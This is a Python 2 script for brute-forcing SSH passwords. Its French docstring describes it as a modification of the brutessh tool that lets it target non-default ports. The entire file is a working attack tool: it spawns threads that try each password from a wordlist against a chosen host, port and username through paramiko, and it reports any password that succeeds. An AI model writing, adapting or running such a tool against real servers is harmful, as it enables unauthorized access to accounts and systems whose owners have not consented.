import thread
import time
from threading import Thread
import sys, os,threading, time, traceback, getopt
import paramiko
import terminal
 
 
"""
Parmi ce qui manque et qui plus est, est indispensable c'est le paramètre port. En effet le script de base ne permet pas de dire sur quel port se connecter. Si ma machine dispose d'un serveur SSH mais sur le port 2022, le script ne saura pas fonctionner sur ce port.
Ce programme est une modification du script de Christian Martorella (Edge-Security Research) pour permettre (donc) le "bruteforçage" sur un autre port que le 22.

MacOSX : port install py-crypto
Debian : apt-get install python-crypto 
Redhat : yum install python-crypto
"""
 
global adx
APP="brutessh"
adx="1"
data=[]
i=[]
 
term = terminal.TerminalController()
paramiko.util.log_to_file('demo.log')
 
print "/n/*************************************"
print "*                                     *"
print "* SSH Bruteforcer Ver. 0.3            *"
print "* ------------------------            *"
print "* Ver. 0.2 by: laramies@gmail.com     *"
print "*   Christian Martorella              *"
print "*   Edge-Security Research            *"
print "*                                     *"
print "* Ver. 0.3 by: secureinfo@free.fr     *"
print "*   Nicolas F.                        *"
print "*   SecureInfo.free.fr                *"
print "*                                     *"
print "*************************************//n"
 
def usage():
    print "Usage: "+APP+" <-h host> [-p port] <-u username> <-d password file> [-t threads]/n"
    print "   -h: destination host"
    print "   -p: port (default: 22)"
    print "   -u: username to force"
    print "   -d: password file "
    print "   -t: threads (default 12, more could be bad)/n"
    print "Example: "+APP+" -p 10022 -h 192.168.1.55 -u root -d mypasswordlist.txt /n"
    sys.exit()
 
class force(Thread):
  def __init__( self, name ):
    Thread.__init__(self)
    self.name = name
 
  def run(self):
    global adx
    if adx == "1":
      passw=self.name.split("/n")[0]
      t = paramiko.Transport(hostname+":"+str(port))
      try:
        t.start_client()
      except Exception:
        x = 0
 
      try:
        t.auth_password(username=username,password=passw)
      except Exception:
        x = 0
 
      if t.is_authenticated():
        print "/nPassword found: " + passw
        t.close()
        adx = "0"
      else:
        #print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL
        t.close()
    time.sleep(0)
    i[0]=i[0]-1
 
 
def test_thread(names):
  try:
    paramiko.Transport(hostname+":"+str(port))
  except:
    print "/nUnable to connect to : " + hostname + ":" + str(port) + "/n"
    sys.exit(1)
 
  i.append(0)
  j=0
  while len(names):
    try:
      if i[0]<th:
        n = names.pop(0)
        i[0]=i[0]+1
        thread=force(n)
        thread.start()
        j=j+1
    except KeyboardInterrupt:
      print "Attack suspended by user../n"
      sys.exit()
  thread.join()
 
def test(argv):
  global th
  global hostname
  global username
  global port
  th = 12
  if len(sys.argv) < 3:
    usage()
  try :
    opts, args = getopt.getopt(argv,"h:u:d:t:p:")
  except getopt.GetoptError:
    usage()
  port = 22
  for opt,arg in opts :
    if opt == '-u':
      username = arg
    elif opt == '-h':
      hostname = arg
    elif opt == '-d':
      password = arg
    elif opt == "-t":
      th = arg
    elif opt == "-p":
      port = arg
  try:
    f = open(password, "r")
  except:
    print "Can't open password file/n"
    sys.exit()
  print "Host: " + hostname + "  | Port: " + str(port) + "  | Username: " + username + "  | Filename: " + password
  print "===================================================================================="
  name = f.readlines()
  starttime = time.clock()
 
  test_thread(name)
  stoptime = time.clock()
  print "/nElapsed time  : " + str(stoptime-starttime)[:4] + " s"
 
  print "/n"
 
if __name__ == "__main__":
  try:
    test(sys.argv[1:])
  except KeyboardInterrupt:
    print "Attack suspended by user.../n"
    sys.exit()